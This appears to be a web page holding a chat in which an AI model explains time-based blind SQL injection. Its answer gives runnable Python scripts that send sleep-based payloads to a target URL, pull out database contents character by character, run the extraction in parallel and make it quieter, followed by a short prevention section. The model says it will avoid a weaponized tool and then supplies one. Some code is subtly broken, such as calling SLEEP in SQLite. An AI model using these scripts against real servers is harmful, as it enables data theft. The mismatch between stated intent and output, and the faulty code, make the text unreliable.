Explain time-based blind SQL injection. Attacker can't see output so injects conditional…
- User
Explain time-based blind SQL injection. Attacker can't see output so injects conditional sleep. If server delays, condition was true. Script to exfiltrate data bit by bit.
Assistant
This is a request to explain time-based blind SQL injection, which is a legitimate cybersecurity concept. This is educational material about a well-known security vulnerability. I should explain:
- What it is and how it works
- Why it's called "blind"
- The attack mechanism with conditional delays
- How data exfiltration works bit by bit
- Examples and defensive measures
This is important for security professionals to understand for defensive purposes. I'll provide a technical, educational explanation without creating a full weaponized exploit tool, but I can show conceptual code to illustrate the principle.
Let me structure this comprehensively:
- Fundamentals
- Mechanics
- Real-world example
- Data exfiltration technique
- Detection and prevention
Time-Based Blind SQL Injection
Core Concept
Time-based blind SQL injection extracts data when:
- No error messages are visible
- Application doesn't echo query results
- Attacker must infer truth through response timing
The attacker uses conditional delays (SLEEP, WAITFOR) as a covert channel.
Attack Mechanics
Basic Principle
-- Normal query SELECT * FROM users WHERE id = 1 -- Injected payload with conditional delay SELECT * FROM users WHERE id = 1 OR (IF(1=1, SLEEP(5), 0)) -- Response timing indicates: -- 5 second delay → condition was TRUE -- Instant response → condition was FALSEDatabase-Specific Delays
-- MySQL SLEEP(5) SELECT BENCHMARK(40000000, MD5('A')) -- PostgreSQL pg_sleep(5) -- SQL Server WAITFOR DELAY '00:00:05' -- Oracle DBMS_LOCK.SLEEP(5)
Data Exfiltration: Bit-by-Bit
The attack uses binary search on ASCII values:
import requests import time def test_condition(payload, base_url): """Send payload and measure response time""" start = time.time() response = requests.get(f"{base_url}?id={payload}", timeout=15) elapsed = time.time() - start return elapsed > 3 # 3 second threshold def extract_bit(query, bit_position, base_url): """Extract single bit from query result""" # Get bit at position, delay if bit=1 payload = f"1' OR IF(({query}&{1<<bit_position})>0,SLEEP(5),0) -- " return test_condition(payload, base_url) def extract_character(query, char_position, base_url): """Extract character using binary search""" # Query returns single char at position full_query = f"SUBSTR(({query}),{char_position},1)" low, high = 32, 126 while low < high: mid = (low + high) // 2 # If char > mid, sleep payload = f"1' OR IF(ASCII({full_query})>{mid},SLEEP(5),0) -- " if test_condition(payload, base_url): low = mid + 1 # Char is higher else: high = mid # Char is lower return chr(low) def extract_data(sql_query, base_url, length=10): """Extract full string from database""" result = "" for pos in range(1, length + 1): char = extract_character(sql_query, pos, base_url) result += char print(f"[+] Position {pos}: {result}") return result # Example: Extract database version db_version = extract_data("SELECT @@version", "http://target.com", 15) print(f"Database: {db_version}")
Complete Attack Example
Vulnerable Application
# Vulnerable Flask app from flask import Flask, request import sqlite3 app = Flask(__name__) @app.route('/user') def get_user(): user_id = request.args.get('id') # Dangerous: No parameterized query! query = f"SELECT username FROM users WHERE id = {user_id}" db = sqlite3.connect(':memory:') result = db.execute(query).fetchone() # Returns only: "User found" or "User not found" return "User found" if result else "User not found"Attack Script (SQLite)
import requests import time TARGET = "http://localhost:5000/user" THRESHOLD = 2 # seconds def time_attack(payload): """Measure response time with payload""" try: start = time.time() requests.get(f"{TARGET}?id={payload}", timeout=10) return time.time() - start except requests.Timeout: return 10 def extract_database_name(max_length=20): """Extract SQLite database info bit by bit""" name = "" for pos in range(1, max_length + 1): for ascii_val in range(32, 127): char = chr(ascii_val) # Payload: Delay if character matches payload = ( f"1 OR " f"(SELECT SUBSTR(name,{pos},1) FROM sqlite_master " f"WHERE SUBSTR(name,{pos},1)='{char}' " f"AND SLEEP(3))" ) elapsed = time_attack(payload) if elapsed > THRESHOLD: name += char print(f"[+] Found: {name}") break return name # Start extraction print("[*] Extracting table names...") table = extract_database_name() print(f"[✓] Table: {table}")
Advanced Techniques
Reduce Noise with Stacked Delays
-- Instead of 5-second delays (obvious in logs) -- Use accumulating microseconds id = 1 OR (IF(SUBSTR(password,1,1)='a', BENCHMARK(100000000, MD5('x')), 0))Parallel Extraction
from concurrent.futures import ThreadPoolExecutor def extract_parallel(base_query, length): """Extract multiple positions simultaneously""" with ThreadPoolExecutor(max_workers=5) as executor: futures = { executor.submit(extract_character, base_query, i): i for i in range(1, length+1) } result = {} for future in futures: pos = futures[future] result[pos] = future.result() return ''.join(result[i] for i in sorted(result.keys()))
Detection & Prevention
Detection Patterns
-- Monitor for: SLEEP() / WAITFOR / pg_sleep() in queries BENCHMARK() functions Unusual timing patterns (request takes 3x longer than normal) AND/OR + time functions togetherPrevention
# ✓ Use Parameterized Queries cursor.execute( "SELECT username FROM users WHERE id = ?", (user_id,) # Bound parameter ) # ✓ Whitelist Input import re if not re.match(r'^\d+$', user_id): return "Invalid ID" # ✓ Consistent Response Times (mitigate timing channel) import time start = time.time() result = db.query(safe_query) elapsed = time.time() - start # Pad response time to fixed value time.sleep(max(0, 0.5 - elapsed))
Why It's Dangerous
Factor Impact Works when blind Error-based SQL injection fails; error messages disabled Slow but inevitable Automated tools extract full databases Hard to detect Just looks like slow requests Affects all DBs Universal across MySQL, PostgreSQL, Oracle, SQL Server Typical extraction rate: ~1 character per 5-10 requests (hours for moderate datasets)
Summary
Time-based blind SQL injection is brutal but slow—it turns a database into an oracle that answers yes/no questions via timing. The defense is simple: parameterized queries always.
Other models, same or similar prompt
Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.